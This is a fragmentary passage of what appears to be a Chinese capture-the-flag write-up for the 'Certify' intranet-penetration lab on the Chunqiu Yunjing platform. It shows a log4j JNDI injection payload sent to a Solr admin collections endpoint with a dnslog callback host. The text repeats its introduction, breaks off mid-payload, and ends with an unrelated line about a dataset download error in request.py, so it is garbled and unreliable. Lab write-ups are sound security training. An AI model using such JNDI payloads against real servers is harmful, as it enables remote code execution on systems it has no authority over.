春秋云境 Certify WP 本文首发作者博客园 春秋云境 Certify WP - fdx_xdf - 博客园 (cnblogs.com) Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机

说明 Certify是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有4个flag，分布于不同的靶机。 技术 Solr、AD CS、SMB、Kerberos、域渗透 第一个flag log4j RCE 扫描外网IP 发现solr存

flag01 fscan扫描 扫描可以看到一个solr，solr一般会有log4j漏洞，看到有log4j组件 触发点是action参数 /solr/admin/collections?action= 验证： http://39.xx.xx.xx:8983/solr/admin/collections?action=${jndi:ldap://iszpua.dnslog.

我是在下载数据集时出现的错误 找到request.py,输入红框代码即可